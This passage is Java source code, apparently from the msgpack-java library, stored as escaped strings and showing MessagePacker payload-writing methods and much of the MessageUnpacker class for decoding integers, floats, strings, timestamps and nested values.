#packRawStringHeader(int)} or {@link #packBinaryHeader(int)} methods.\n *\n * @param src the data to add\n * @return this\n * @throws IOException when underlying output throws IOException\n */\n public MessagePacker writePayload(byte[] src)\n throws IOException\n {\n return writePayload(src, 0, src.length);\n }\n\n /**\n * Writes a byte array to the output.\n * <p>\n * This method is used with {@link #packRawStringHeader(int)} or {@link #packBinaryHeader(int)} methods.\n *\n * @param src the data to add\n * @param off the start offset in the data\n * @param len the number of bytes to add\n * @return this\n * @throws IOException when underlying output throws IOException\n */\n public MessagePacker writePayload(byte[] src, int off, int len)\n throws IOException\n {\n if (buffer == null || buffer.size() - position < len || len > bufferFlushThreshold) {\n flush(); // call flush before write\n // Directly write payload to the output without using the buffer\n out.write(src, off, len);\n totalFlushBytes += len;\n }\n else {\n buffer.putBytes(position, src, off, len);\n position += len;\n }\n return this;\n }\n\n /**\n * Writes a byte array to the output.\n * <p>\n * This method is used with {@link #packRawStringHeader(int)} or {@link #packBinaryHeader(int)} methods.\n * <p>\n * Unlike {@link #writePayload(byte[])} method, this method does not make a defensive copy of the given byte\n * array, even if it is shorter than {@link MessagePack.PackerConfig#withBufferFlushThreshold(int)}. This is\n * faster than {@link #writePayload(byte[])} method but caller must not modify the byte array after calling\n * this method.\n *\n * @param src the data to add\n * @return this\n * @throws IOException when underlying output throws IOException\n * @see #writePayload(byte[])\n */\n public MessagePacker addPayload(byte[] src)\n throws IOException\n {\n return addPayload(src, 0, src.length);\n }\n\n /**\n * Writes a byte array to the output.\n * <p>\n * This method is used with {@link #packRawStringHeader(int)} or {@link #packBinaryHeader(int)} methods.\n * <p>\n * Unlike {@link #writePayload(byte[], int, int)} method, this method does not make a defensive copy of the\n * given byte array, even if it is shorter than {@link MessagePack.PackerConfig#withBufferFlushThreshold(int)}.\n * This is faster than {@link #writePayload(byte[])} method but caller must not modify the byte array after\n * calling this method.\n *\n * @param src the data to add\n * @param off the start offset in the data\n * @param len the number of bytes to add\n * @return this\n * @throws IOException when underlying output throws IOException\n * @see #writePayload(byte[], int, int)\n */\n public MessagePacker addPayload(byte[] src, int off, int len)\n throws IOException\n {\n if (buffer == null || buffer.size() - position < len || len > bufferFlushThreshold) {\n flush(); // call flush before add\n // Directly add the payload without using the buffer\n out.add(src, off, len);\n totalFlushBytes += len;\n }\n else {\n buffer.putBytes(position, src, off, len);\n position += len;\n }\n return this;\n }\n}", "public class MessageUnpacker\n implements Closeable\n{\n private static final MessageBuffer EMPTY_BUFFER = MessageBuffer.wrap(new byte[0]);\n\n private final boolean allowReadingStringAsBinary;\n private final boolean allowReadingBinaryAsString;\n private final CodingErrorAction actionOnMalformedString;\n private final CodingErrorAction actionOnUnmappableString;\n private final int stringSizeLimit;\n private final int stringDecoderBufferSize;\n\n private MessageBufferInput in;\n\n /**\n * Points to the current buffer to read\n */\n private MessageBuffer buffer = EMPTY_BUFFER;\n\n /**\n * Cursor position in the current buffer\n */\n private int position;\n\n /**\n * Total read byte size\n */\n private long totalReadBytes;\n\n /**\n * An extra buffer for reading a small number value across the input buffer boundary.\n * At most 8-byte buffer (for readLong used by uint 64 and UTF-8 character decoding) is required.\n */\n private final MessageBuffer numberBuffer = MessageBuffer.allocate(8);\n\n /**\n * After calling prepareNumberBuffer(), the caller should use this variable to read from the returned MessageBuffer.\n */\n private int nextReadPosition;\n\n /**\n * For decoding String in unpackString.\n */\n private StringBuilder decodeStringBuffer;\n\n /**\n * For decoding String in unpackString.\n */\n private CharsetDecoder decoder;\n\n /**\n * Buffer for decoding strings\n */\n private CharBuffer decodeBuffer;\n\n /**\n * Create an MessageUnpacker that reads data from the given MessageBufferInput.\n * This method is available for subclasses to override. Use MessagePack.UnpackerConfig.newUnpacker method to instantiate this implementation.\n *\n * @param in\n */\n protected MessageUnpacker(MessageBufferInput in, MessagePack.UnpackerConfig config)\n {\n this.in = checkNotNull(in, \"MessageBufferInput is null\");\n this.allowReadingStringAsBinary = config.getAllowReadingStringAsBinary();\n this.allowReadingBinaryAsString = config.getAllowReadingBinaryAsString();\n this.actionOnMalformedString = config.getActionOnMalformedString();\n this.actionOnUnmappableString = config.getActionOnUnmappableString();\n this.stringSizeLimit = config.getStringSizeLimit();\n this.stringDecoderBufferSize = config.getStringDecoderBufferSize();\n }\n\n /**\n * Replaces underlying input.\n * <p>\n * This method clears internal buffer, swaps the underlying input with the new given input, then returns\n * the old input.\n *\n * <p>\n * This method doesn't close the old input.\n *\n * @param in new input\n * @return the old input\n * @throws IOException never happens unless a subclass overrides this method\n * @throws NullPointerException the given input is null\n */\n public MessageBufferInput reset(MessageBufferInput in)\n throws IOException\n {\n MessageBufferInput newIn = checkNotNull(in, \"MessageBufferInput is null\");\n\n // Reset the internal states\n MessageBufferInput old = this.in;\n this.in = newIn;\n this.buffer = EMPTY_BUFFER;\n this.position = 0;\n this.totalReadBytes = 0;\n // No need to initialize the already allocated string decoder here since we can reuse it.\n\n return old;\n }\n\n /**\n * Returns total number of read bytes.\n * <p>\n * This method returns total of amount of data consumed from the underlying input minus size of data\n * remained still unused in the current internal buffer.\n *\n * <p>\n * Calling {@link #reset(MessageBufferInput)} resets this number to 0.\n */\n public long getTotalReadBytes()\n {\n return totalReadBytes + position;\n }\n\n /**\n * Get the next buffer without changing the position\n *\n * @return\n * @throws IOException\n */\n private MessageBuffer getNextBuffer()\n throws IOException\n {\n MessageBuffer next = in.next();\n if (next == null) {\n throw new MessageInsufficientBufferException();\n }\n assert (buffer != null);\n totalReadBytes += buffer.size();\n return next;\n }\n\n private void nextBuffer()\n throws IOException\n {\n buffer = getNextBuffer();\n position = 0;\n }\n\n /**\n * Returns a short size buffer (upto 8 bytes) to read a number value\n *\n * @param readLength\n * @return\n * @throws IOException\n * @throws MessageInsufficientBufferException If no more buffer can be acquired from the input source for reading the specified data length\n */\n private MessageBuffer prepareNumberBuffer(int readLength)\n throws IOException\n {\n int remaining = buffer.size() - position;\n if (remaining >= readLength) {\n // When the data is contained inside the default buffer\n nextReadPosition = position;\n position += readLength; // here assumes following buffer.getXxx never throws exception\n return buffer; // Return the default buffer\n }\n else {\n // When the default buffer doesn't contain the whole length,\n // fill the temporary buffer from the current data fragment and\n // next fragment(s).\n\n int off = 0;\n if (remaining > 0) {\n numberBuffer.putMessageBuffer(0, buffer, position, remaining);\n readLength -= remaining;\n off += remaining;\n }\n\n while (true) {\n nextBuffer();\n int nextSize = buffer.size();\n if (nextSize >= readLength) {\n numberBuffer.putMessageBuffer(off, buffer, 0, readLength);\n position = readLength;\n break;\n }\n else {\n numberBuffer.putMessageBuffer(off, buffer, 0, nextSize);\n readLength -= nextSize;\n off += nextSize;\n }\n }\n\n nextReadPosition = 0;\n return numberBuffer;\n }\n }\n\n private static int utf8MultibyteCharacterSize(byte firstByte)\n {\n return Integer.numberOfLeadingZeros(~(firstByte & 0xff) << 24);\n }\n\n /**\n * Returns true true if this unpacker has more elements.\n * When this returns true, subsequent call to {@link #getNextFormat()} returns an\n * MessageFormat instance. If false, next {@link #getNextFormat()} call will throw an MessageInsufficientBufferException.\n *\n * @return true if this unpacker has more elements to read\n */\n public boolean hasNext()\n throws IOException\n {\n return ensureBuffer();\n }\n\n private boolean ensureBuffer()\n throws IOException\n {\n while (buffer.size() <= position) {\n MessageBuffer next = in.next();\n if (next == null) {\n return false;\n }\n totalReadBytes += buffer.size();\n buffer = next;\n position = 0;\n }\n return true;\n }\n\n /**\n * Returns format of the next value.\n *\n * <p>\n * Note that this method doesn't consume data from the internal buffer unlike the other unpack methods.\n * Calling this method twice will return the same value.\n *\n * <p>\n * To not throw {@link MessageInsufficientBufferException}, this method should be called only when\n * {@link #hasNext()} returns true.\n *\n * @return the next MessageFormat\n * @throws IOException when underlying input throws IOException\n * @throws MessageInsufficientBufferException when the end of file reached, i.e. {@link #hasNext()} == false.\n */\n public MessageFormat getNextFormat()\n throws IOException\n {\n // makes sure that buffer has at least 1 byte\n if (!ensureBuffer()) {\n throw new MessageInsufficientBufferException();\n }\n byte b = buffer.getByte(position);\n return MessageFormat.valueOf(b);\n }\n\n /**\n * Read a byte value at the cursor and proceed the cursor.\n *\n * @return\n * @throws IOException\n */\n private byte readByte()\n throws IOException\n {\n if (buffer.size() > position) {\n byte b = buffer.getByte(position);\n position++;\n return b;\n }\n else {\n nextBuffer();\n if (buffer.size() > 0) {\n byte b = buffer.getByte(0);\n position = 1;\n return b;\n }\n return readByte();\n }\n }\n\n private short readShort()\n throws IOException\n {\n MessageBuffer numberBuffer = prepareNumberBuffer(2);\n return numberBuffer.getShort(nextReadPosition);\n }\n\n private int readInt()\n throws IOException\n {\n MessageBuffer numberBuffer = prepareNumberBuffer(4);\n return numberBuffer.getInt(nextReadPosition);\n }\n\n private long readLong()\n throws IOException\n {\n MessageBuffer numberBuffer = prepareNumberBuffer(8);\n return numberBuffer.getLong(nextReadPosition);\n }\n\n private float readFloat()\n throws IOException\n {\n MessageBuffer numberBuffer = prepareNumberBuffer(4);\n return numberBuffer.getFloat(nextReadPosition);\n }\n\n private double readDouble()\n throws IOException\n {\n MessageBuffer numberBuffer = prepareNumberBuffer(8);\n return numberBuffer.getDouble(nextReadPosition);\n }\n\n /**\n * Skip the next value, then move the cursor at the end of the value\n *\n * @throws IOException\n */\n public void skipValue()\n throws IOException\n {\n skipValue(1);\n }\n\n /**\n * Skip next values, then move the cursor at the end of the value\n *\n * @param count number of values to skip\n * @throws IOException\n */\n public void skipValue(int count)\n throws IOException\n {\n while (count > 0) {\n byte b = readByte();\n MessageFormat f = MessageFormat.valueOf(b);\n switch (f) {\n case POSFIXINT:\n case NEGFIXINT:\n case BOOLEAN:\n case NIL:\n break;\n case FIXMAP: {\n int mapLen = b & 0x0f;\n count += mapLen * 2;\n break;\n }\n case FIXARRAY: {\n int arrayLen = b & 0x0f;\n count += arrayLen;\n break;\n }\n case FIXSTR: {\n int strLen = b & 0x1f;\n skipPayload(strLen);\n break;\n }\n case INT8:\n case UINT8:\n skipPayload(1);\n break;\n case INT16:\n case UINT16:\n skipPayload(2);\n break;\n case INT32:\n case UINT32:\n case FLOAT32:\n skipPayload(4);\n break;\n case INT64:\n case UINT64:\n case FLOAT64:\n skipPayload(8);\n break;\n case BIN8:\n case STR8:\n skipPayload(readNextLength8());\n break;\n case BIN16:\n case STR16:\n skipPayload(readNextLength16());\n break;\n case BIN32:\n case STR32:\n skipPayload(readNextLength32());\n break;\n case FIXEXT1:\n skipPayload(2);\n break;\n case FIXEXT2:\n skipPayload(3);\n break;\n case FIXEXT4:\n skipPayload(5);\n break;\n case FIXEXT8:\n skipPayload(9);\n break;\n case FIXEXT16:\n skipPayload(17);\n break;\n case EXT8:\n skipPayload(readNextLength8() + 1);\n break;\n case EXT16:\n skipPayload(readNextLength16() + 1);\n break;\n case EXT32:\n int extLen = readNextLength32();\n // Skip the first ext type header (1-byte) first in case ext length is Integer.MAX_VALUE\n skipPayload(1);\n skipPayload(extLen);\n break;\n case ARRAY16:\n count += readNextLength16();\n break;\n case ARRAY32:\n count += readNextLength32();\n break;\n case MAP16:\n count += readNextLength16() * 2;\n break;\n case MAP32:\n count += readNextLength32() * 2; // TODO check int overflow\n break;\n case NEVER_USED:\n throw new MessageNeverUsedFormatException(\"Encountered 0xC1 \\\"NEVER_USED\\\" byte\");\n }\n\n count--;\n }\n }\n\n /**\n * Create an exception for the case when an unexpected byte value is read\n *\n * @param expected\n * @param b\n * @return\n * @throws MessageFormatException\n */\n private static MessagePackException unexpected(String expected, byte b)\n {\n MessageFormat format = MessageFormat.valueOf(b);\n if (format == MessageFormat.NEVER_USED) {\n return new MessageNeverUsedFormatException(String.format(\"Expected %s, but encountered 0xC1 \\\"NEVER_USED\\\" byte\", expected));\n }\n else {\n String name = format.getValueType().name();\n String typeName = name.substring(0, 1) + name.substring(1).toLowerCase();\n return new MessageTypeException(String.format(\"Expected %s, but got %s (%02x)\", expected, typeName, b));\n }\n }\n\n private static MessagePackException unexpectedExtension(String expected, int expectedType, int actualType)\n {\n return new MessageTypeException(String.format(\"Expected extension type %s (%d), but got extension type %d\",\n expected, expectedType, actualType));\n }\n\n public ImmutableValue unpackValue()\n throws IOException\n {\n MessageFormat mf = getNextFormat();\n switch (mf.getValueType()) {\n case NIL:\n readByte();\n return ValueFactory.newNil();\n case BOOLEAN:\n return ValueFactory.newBoolean(unpackBoolean());\n case INTEGER:\n if (mf == MessageFormat.UINT64) {\n return ValueFactory.newInteger(unpackBigInteger());\n }\n else {\n return ValueFactory.newInteger(unpackLong());\n }\n case FLOAT:\n return ValueFactory.newFloat(unpackDouble());\n case STRING: {\n int length = unpackRawStringHeader();\n return ValueFactory.newString(readPayload(length), true);\n }\n case BINARY: {\n int length = unpackBinaryHeader();\n return ValueFactory.newBinary(readPayload(length), true);\n }\n case ARRAY: {\n int size = unpackArrayHeader();\n Value[] array = new Value[size];\n for (int i = 0; i < size; i++) {\n array[i] = unpackValue();\n }\n return ValueFactory.newArray(array, true);\n }\n case MAP: {\n int size = unpackMapHeader();\n Value[] kvs = new Value[size * 2];\n for (int i = 0; i < size * 2; ) {\n kvs[i] = unpackValue();\n i++;\n kvs[i] = unpackValue();\n i++;\n }\n return ValueFactory.newMap(kvs, true);\n }\n case EXTENSION: {\n ExtensionTypeHeader extHeader = unpackExtensionTypeHeader();\n switch (extHeader.getType()) {\n case EXT_TIMESTAMP:\n return ValueFactory.newTimestamp(unpackTimestamp(extHeader));\n default:\n return ValueFactory.newExtension(extHeader.getType(), readPayload(extHeader.getLength()));\n }\n }\n default:\n throw new MessageNeverUsedFormatException(\"Unknown value type\");\n }\n }\n\n public Variable unpackValue(Variable var)\n throws IOException\n {\n MessageFormat mf = getNextFormat();\n switch (mf.getValueType()) {\n case NIL:\n readByte();\n var.setNilValue();\n return var;\n case BOOLEAN:\n var.setBooleanValue(unpackBoolean());\n return var;\n case INTEGER:\n switch (mf) {\n case UINT64:\n var.setIntegerValue(unpackBigInteger());\n return var;\n default:\n var.setIntegerValue(unpackLong());\n return var;\n }\n case FLOAT:\n var.setFloatValue(unpackDouble());\n return var;\n case STRING: {\n int length = unpackRawStringHeader();\n var.setStringValue(readPayload(length));\n return var;\n }\n case BINARY: {\n int length = unpackBinaryHeader();\n var.setBinaryValue(readPayload(length));\n return var;\n }\n case ARRAY: {\n int size = unpackArrayHeader();\n Value[] kvs = new Value[size];\n for (int i = 0; i < size; i++) {\n kvs[i] = unpackValue();\n }\n var.setArrayValue(kvs);\n return var;\n }\n case MAP: {\n int size = unpackMapHeader();\n Value[] kvs = new Value[size * 2];\n for (int i = 0; i < size * 2; ) {\n kvs[i] = unpackValue();\n i++;\n kvs[i] = unpackValue();\n i++;\n }\n var.setMapValue(kvs);\n return var;\n }\n case EXTENSION: {\n ExtensionTypeHeader extHeader = unpackExtensionTypeHeader();\n switch (extHeader.getType()) {\n case EXT_TIMESTAMP:\n var.setTimestampValue(unpackTimestamp(extHeader));\n break;\n default:\n var.setExtensionValue(extHeader.getType(), readPayload(extHeader.getLength()));\n }\n return var;\n }\n default:\n throw new MessageFormatException(\"Unknown value type\");\n }\n }\n\n /**\n * Reads a Nil byte.\n *\n * @throws MessageTypeException when value is not MessagePack Nil type\n * @throws IOException when underlying input throws IOException\n */\n public void unpackNil()\n throws IOException\n {\n byte b = readByte();\n if (b == Code.NIL) {\n return;\n }\n throw unexpected(\"Nil\", b);\n }\n\n /**\n * Peeks a Nil byte and reads it if next byte is a nil value.\n *\n * The difference from {@link unpackNil} is that unpackNil throws an exception if the next byte is not nil value\n * while this tryUnpackNil method returns false without changing position.\n *\n * @return true if a nil value is read\n * @throws MessageInsufficientBufferException when the end of file reached\n * @throws IOException when underlying input throws IOException\n */\n public boolean tryUnpackNil()\n throws IOException\n {\n // makes sure that buffer has at least 1 byte\n if (!ensureBuffer()) {\n throw new MessageInsufficientBufferException();\n }\n byte b = buffer.getByte(position);\n if (b == Code.NIL) {\n readByte();\n return true;\n }\n return false;\n }\n\n /**\n * Reads true or false.\n *\n * @return the read value\n * @throws MessageTypeException when value is not MessagePack Boolean type\n * @throws IOException when underlying input throws IOException\n */\n public boolean unpackBoolean()\n throws IOException\n {\n byte b = readByte();\n if (b == Code.FALSE) {\n return false;\n }\n else if (b == Code.TRUE) {\n return true;\n }\n throw unexpected(\"boolean\", b);\n }\n\n /**\n * Reads a byte.\n *\n * This method throws {@link MessageIntegerOverflowException} if the value doesn't fit in the range of byte. This may happen when {@link #getNextFormat()} returns UINT8, INT16, or larger integer formats.\n *\n * @return the read value\n * @throws MessageIntegerOverflowException when value doesn't fit in the range of byte\n * @throws MessageTypeException when value is not MessagePack Integer type\n * @throws IOException when underlying input throws IOException\n */\n public byte unpackByte()\n throws IOException\n {\n byte b = readByte();\n if (Code.isFixInt(b)) {\n return b;\n }\n switch (b) {\n case Code.UINT8: // unsigned int 8\n byte u8 = readByte();\n if (u8 < (byte) 0) {\n throw overflowU8(u8);\n }\n return u8;\n case Code.UINT16: // unsigned int 16\n short u16 = readShort();\n if (u16 < 0 || u16 > Byte.MAX_VALUE) {\n throw overflowU16(u16);\n }\n return (byte) u16;\n case Code.UINT32: // unsigned int 32\n int u32 = readInt();\n if (u32 < 0 || u32 > Byte.MAX_VALUE) {\n throw overflowU32(u32);\n }\n return (byte) u32;\n case Code.UINT64: // unsigned int 64\n long u64 = readLong();\n if (u64 < 0L || u64 > Byte.MAX_VALUE) {\n throw overflowU64(u64);\n }\n return (byte) u64;\n case Code.INT8: // signed int 8\n byte i8 = readByte();\n return i8;\n case Code.INT16: // signed int 16\n short i16 = readShort();\n if (i16 < Byte.MIN_VALUE || i16 > Byte.MAX_VALUE) {\n throw overflowI16(i16);\n }\n return (byte) i16;\n case Code.INT32: // signed int 32\n int i32 = readInt();\n if (i32 < Byte.MIN_VALUE || i32 > Byte.MAX_VALUE) {\n throw overflowI32(i32);\n }\n return (byte) i32;\n case Code.INT64: // signed int 64\n long i64 = readLong();\n if (i64 < Byte.MIN_VALUE || i64 > Byte.MAX_VALUE) {\n throw overflowI64(i64);\n }\n return (byte) i64;\n }\n throw unexpected(\"Integer\", b);\n }\n\n /**\n * Reads a short.\n *\n * This method throws {@link MessageIntegerOverflowException} if the value doesn't fit in the range of short. This may happen when {@link #getNextFormat()} returns UINT16, INT32, or larger integer formats.\n *\n * @return the read value\n * @throws MessageIntegerOverflowException when value doesn't fit in the range of short\n * @throws MessageTypeException when value is not MessagePack Integer type\n * @throws IOException when underlying input throws IOException\n */\n public short unpackShort()\n throws IOException\n {\n byte b = readByte();\n if (Code.isFixInt(b)) {\n return (short) b;\n }\n switch (b) {\n case Code.UINT8: // unsigned int 8\n byte u8 = readByte();\n return (short) (u8 & 0xff);\n case Code.UINT16: // unsigned int 16\n short u16 = readShort();\n if (u16 < (short) 0) {\n throw overflowU16(u16);\n }\n return u16;\n case Code.UINT32: // unsigned int 32\n int u32 = readInt();\n if (u32 < 0 || u32 > Short.MAX_VALUE) {\n throw overflowU32(u32);\n }\n return (short) u32;\n case Code.UINT64: // unsigned int 64\n long u64 = readLong();\n if (u64 < 0L || u64 > Short.MAX_VALUE) {\n throw overflowU64(u64);\n }\n return (short) u64;\n case Code.INT8: // signed int 8\n byte i8 = readByte();\n return (short) i8;\n case Code.INT16: // signed int 16\n short i16 = readShort();\n return i16;\n case Code.INT32: // signed int 32\n int i32 = readInt();\n if (i32 < Short.MIN_VALUE || i32 > Short.MAX_VALUE) {\n throw overflowI32(i32);\n }\n return (short) i32;\n case Code.INT64: // signed int 64\n long i64 = readLong();\n if (i64 < Short.MIN_VALUE || i64 > Short.MAX_VALUE) {\n throw overflowI64(i64);\n }\n return (short) i64;\n }\n throw unexpected(\"Integer\", b);\n }\n\n /**\n * Reads a int.\n *\n * This method throws {@link MessageIntegerOverflowException} if the value doesn't fit in the range of int. This may happen when {@link #getNextFormat()} returns UINT32, INT64, or larger integer formats.\n *\n * @return the read value\n * @throws MessageIntegerOverflowException when value doesn't fit in the range of int\n * @throws MessageTypeException when value is not MessagePack Integer type\n * @throws IOException when underlying input throws IOException\n */\n public int unpackInt()\n throws IOException\n {\n byte b = readByte();\n if (Code.isFixInt(b)) {\n return (int) b;\n }\n switch (b) {\n case Code.UINT8: // unsigned int 8\n byte u8 = readByte();\n return u8 & 0xff;\n case Code.UINT16: // unsigned int 16\n short u16 = readShort();\n return u16 & 0xffff;\n case Code.UINT32: // unsigned int 32\n int u32 = readInt();\n if (u32 < 0) {\n throw overflowU32(u32);\n }\n return u32;\n case Code.UINT64: // unsigned int 64\n long u64 = readLong();\n if (u64 < 0L || u64 > (long) Integer.MAX_VALUE) {\n throw overflowU64(u64);\n }\n return (int) u64;\n case Code.INT8: // signed int 8\n byte i8 = readByte();\n return i8;\n case Code.INT16: // signed int 16\n short i16 = readShort();\n return i16;\n case Code.INT32: // signed int 32\n int i32 = readInt();\n return i32;\n case Code.INT64: // signed int 64\n long i64 = readLong();\n if (i64 < (long) Integer.MIN_VALUE || i64 > (long) Integer.MAX_VALUE) {\n throw overflowI64(i64);\n }\n return (int) i64;\n }\n throw unexpected(\"Integer\", b);\n }\n\n /**\n * Reads a long.\n *\n * This method throws {@link MessageIntegerOverflowException} if the value doesn't fit in the range of long. This may happen when {@link #getNextFormat()} returns UINT64.\n *\n * @return the read value\n * @throws MessageIntegerOverflowException when value doesn't fit in the range of long\n * @throws MessageTypeException when value is not MessagePack Integer type\n * @throws IOException when underlying input throws IOException\n */\n public long unpackLong()\n throws IOException\n {\n byte b = readByte();\n if (Code.isFixInt(b)) {\n return (long) b;\n }\n switch (b) {\n case Code.UINT8: // unsigned int 8\n byte u8 = readByte();\n return (long) (u8 & 0xff);\n case Code.UINT16: // unsigned int 16\n short u16 = readShort();\n return (long) (u16 & 0xffff);\n case Code.UINT32: // unsigned int 32\n int u32 = readInt();\n if (u32 < 0) {\n return (long) (u32 & 0x7fffffff) + 0x80000000L;\n }\n else {\n return (long) u32;\n }\n case Code.UINT64: // unsigned int 64\n long u64 = readLong();\n if (u64 < 0L) {\n throw overflowU64(u64);\n }\n return u64;\n case Code.INT8: // signed int 8\n byte i8 = readByte();\n return (long) i8;\n case Code.INT16: // signed int 16\n short i16 = readShort();\n return (long) i16;\n case Code.INT32: // signed int 32\n int i32 = readInt();\n return (long) i32;\n case Code.INT64: // signed int 64\n long i64 = readLong();\n return i64;\n }\n throw unexpected(\"Integer\", b);\n }\n\n /**\n * Reads a BigInteger.\n *\n * @return the read value\n * @throws MessageTypeException when value is not MessagePack Integer type\n * @throws IOException when underlying input throws IOException\n */\n public BigInteger unpackBigInteger()\n throws IOException\n {\n byte b = readByte();\n if (Code.isFixInt(b)) {\n return BigInteger.valueOf((long) b);\n }\n switch (b) {\n case Code.UINT8: // unsigned int 8\n byte u8 = readByte();\n return BigInteger.valueOf((long) (u8 & 0xff));\n case Code.UINT16: // unsigned int 16\n short u16 = readShort();\n return BigInteger.valueOf((long) (u16 & 0xffff));\n case Code.UINT32: // unsigned int 32\n int u32 = readInt();\n if (u32 < 0) {\n return BigInteger.valueOf((long) (u32 & 0x7fffffff) + 0x80000000L);\n }\n else {\n return BigInteger.valueOf((long) u32);\n }\n case Code.UINT64: // unsigned int 64\n long u64 = readLong();\n if (u64 < 0L) {\n BigInteger bi = BigInteger.valueOf(u64 + Long.MAX_VALUE + 1L).setBit(63);\n return bi;\n }\n else {\n return BigInteger.valueOf(u64);\n }\n case Code.INT8: // signed int 8\n byte i8 = readByte();\n return BigInteger.valueOf((long) i8);\n case Code.INT16: // signed int 16\n short i16 = readShort();\n return BigInteger.valueOf((long) i16);\n case Code.INT32: // signed int 32\n int i32 = readInt();\n return BigInteger.valueOf((long) i32);\n case Code.INT64: // signed int 64\n long i64 = readLong();\n return BigInteger.valueOf(i64);\n }\n throw unexpected(\"Integer\", b);\n }\n\n /**\n * Reads a float.\n *\n * This method rounds value to the range of float when precision of the read value is larger than the range of float. This may happen when {@link #getNextFormat()} returns FLOAT64.\n *\n * @return the read value\n * @throws MessageTypeException when value is not MessagePack Float type\n * @throws IOException when underlying input throws IOException\n */\n public float unpackFloat()\n throws IOException\n {\n byte b = readByte();\n switch (b) {\n case Code.FLOAT32: // float\n float fv = readFloat();\n return fv;\n case Code.FLOAT64: // double\n double dv = readDouble();\n return (float) dv;\n }\n throw unexpected(\"Float\", b);\n }\n\n /**\n * Reads a double.\n *\n * @return the read value\n * @throws MessageTypeException when value is not MessagePack Float type\n * @throws IOException when underlying input throws IOException\n */\n public double unpackDouble()\n throws IOException\n {\n byte b = readByte();\n switch (b) {\n case Code.FLOAT32: // float\n float fv = readFloat();\n return (double) fv;\n case Code.FLOAT64: // double\n double dv = readDouble();\n return dv;\n }\n throw unexpected(\"Float\", b);\n }\n\n private static final String EMPTY_STRING = \"\";\n\n private void resetDecoder()\n {\n if (decoder == null) {\n decodeBuffer = CharBuffer.allocate(stringDecoderBufferSize);\n decoder = MessagePack.UTF8.newDecoder()\n .onMalformedInput(actionOnMalformedString)\n .onUnmappableCharacter(actionOnUnmappableString);\n }\n else {\n decoder.reset();\n }\n if (decodeStringBuffer == null) {\n decodeStringBuffer = new StringBuilder();\n }\n else {\n decodeStringBuffer.setLength(0);\n }\n }\n\n public String unpackString()\n throws IOException\n {\n int len = unpackRawStringHeader();\n if (len == 0) {\n return EMPTY_STRING;\n }\n if (len > stringSizeLimit) {\n throw new MessageSizeException(String.format(\"cannot unpack a String of size larger than %,d: %,d\", stringSizeLimit, len), len);\n }\n\n resetDecoder(); // should be invoked only once per value\n\n if (buffer.size() - position >= len) {\n return decodeStringFastPath(len);\n }\n\n try {\n int rawRemaining = len;\n while (rawRemaining > 0) {\n int bufferRemaining = buffer.size() - position;\n if (bufferRemaining >= rawRemaining) {\n decodeStringBuffer.append(decodeStringFastPath(rawRemaining));\n break;\n }\n else if (bufferRemaining == 0) {\n nextBuffer();\n }\n else {\n ByteBuffer bb = buffer.sliceAsByteBuffer(position, bufferRemaining);\n int bbStartPosition = bb.position();\n decodeBuffer.clear();\n\n CoderResult cr = decoder.decode(bb, decodeBuffer, false);\n int readLen = bb.position() - bbStartPosition;\n position += readLen;\n rawRemaining -= readLen;\n decodeStringBuffer.append(decodeBuffer.flip());\n\n if (cr.isError()) {\n handleCoderError(cr);\n }\n if (cr.isUnderflow() && readLen < bufferRemaining) {\n // handle incomplete multibyte character\n int incompleteMultiBytes = utf8MultibyteCharacterSize(buffer.getByte(position));\n ByteBuffer multiByteBuffer = ByteBuffer.allocate(incompleteMultiBytes);\n buffer.getBytes(position, buffer.size() - position, multiByteBuffer);\n\n // read until multiByteBuffer is filled\n while (true) {\n nextBuffer();\n\n int more = multiByteBuffer.remaining();\n if (buffer.size() >= more) {\n buffer.getBytes(0, more, multiByteBuffer);\n position = more;\n break;\n }\n else {\n buffer.getBytes(0, buffer.size(), multiByteBuffer);\n position = buffer.size();\n }\n }\n multiByteBuffer.position(0);\n decodeBuffer.clear();\n cr = decoder.decode(multiByteBuffer, decodeBuffer, false);\n if (cr.isError()) {\n handleCoderError(cr);\n }\n if (cr.isOverflow() || (cr.isUnderflow() && multiByteBuffer.position() < multiByteBuffer.limit())) {\n // isOverflow or isOverflow must not happen. if happened, throw exception\n try {\n cr.throwException();\n throw new MessageFormatException(\"Unexpected UTF-8 multibyte sequence\");\n }\n catch (Exception ex) {\n throw new MessageFormatException(\"Unexpected UTF-8 multibyte sequence\", ex);\n }\n }\n rawRemaining -= multiByteBuffer.limit();\n decodeStringBuffer.append(decodeBuffer.flip());\n }\n }\n }\n return decodeStringBuffer.toString();\n }\n catch (CharacterCodingException e) {\n throw new MessageStringCodingException(e);\n }\n }\n\n private void handleCoderError(CoderResult cr)\n throws CharacterCodingException\n {\n if ((cr.isMalformed() && actionOnMalformedString == CodingErrorAction.REPORT) ||\n (cr.isUnmappable() && actionOnUnmappableString == CodingErrorAction.REPORT)) {\n cr.throwException();\n }\n }\n\n private String decodeStringFastPath(int length)\n {\n if (actionOnMalformedString == CodingErrorAction.REPLACE &&\n actionOnUnmappableString == CodingErrorAction.REPLACE &&\n buffer.hasArray()) {\n String s = new String(buffer.array(), buffer.arrayOffset() + position, length, MessagePack.UTF8);\n position += length;\n return s;\n }\n else {\n ByteBuffer bb = buffer.sliceAsByteBuffer(position, length);\n CharBuffer cb;\n try {\n cb = decoder.decode(bb);\n }\n catch (CharacterCodingException e) {\n throw new MessageStringCodingException(e);\n }\n position += length;\n return cb.toString();\n }\n }\n\n public Instant unpackTimestamp()\n throws IOException\n {\n ExtensionTypeHeader ext = unpackExtensionTypeHeader();\n return unpackTimestamp(ext);\n }\n\n /**\n * Unpack timestamp that can be used after reading the extension type header with unpackExtensionTypeHeader.\n */\n public Instant unpackTimestamp(ExtensionTypeHeader ext) throws IOException\n {\n if (ext.getType() != EXT_TIMESTAMP) {\n throw unexpectedExtension(\"Timestamp\", EXT_TIMESTAMP, ext.getType());\n }\n switch (ext.getLength()) {\n case 4: {\n // Need to convert Java's int (int32) to uint32\n long u32 = readInt() & 0xffffffffL;\n return Instant.ofEpochSecond(u32);\n }\n case 8: {\n long data64 = readLong();\n int nsec = (int) (data64 >>> 34);\n long sec = data64 & 0x00000003ffffffffL;\n return Instant.ofEpochSecond(sec, nsec);\n }\n case 12: {\n // Need to convert Java's int (int32) to uint32\n long nsecU32 = readInt() & 0xffffffffL;\n long sec = readLong();\n return Instant.ofEpochSecond(sec, nsecU32);\n }\n default:\n throw new MessageFormatException(String.format(\"Timestamp extension type (%d) expects 4, 8, or 12 bytes of payload but got %d bytes\",\n EXT_TIMESTAMP, ext.getLength()));\n }\n }\n\n /**\n * Reads header of an array.\n *\n * <p>\n * This method returns number of elements to be read. After this method call, you call unpacker methods for\n * each element. You don't have to call anything at the end of iteration.\n 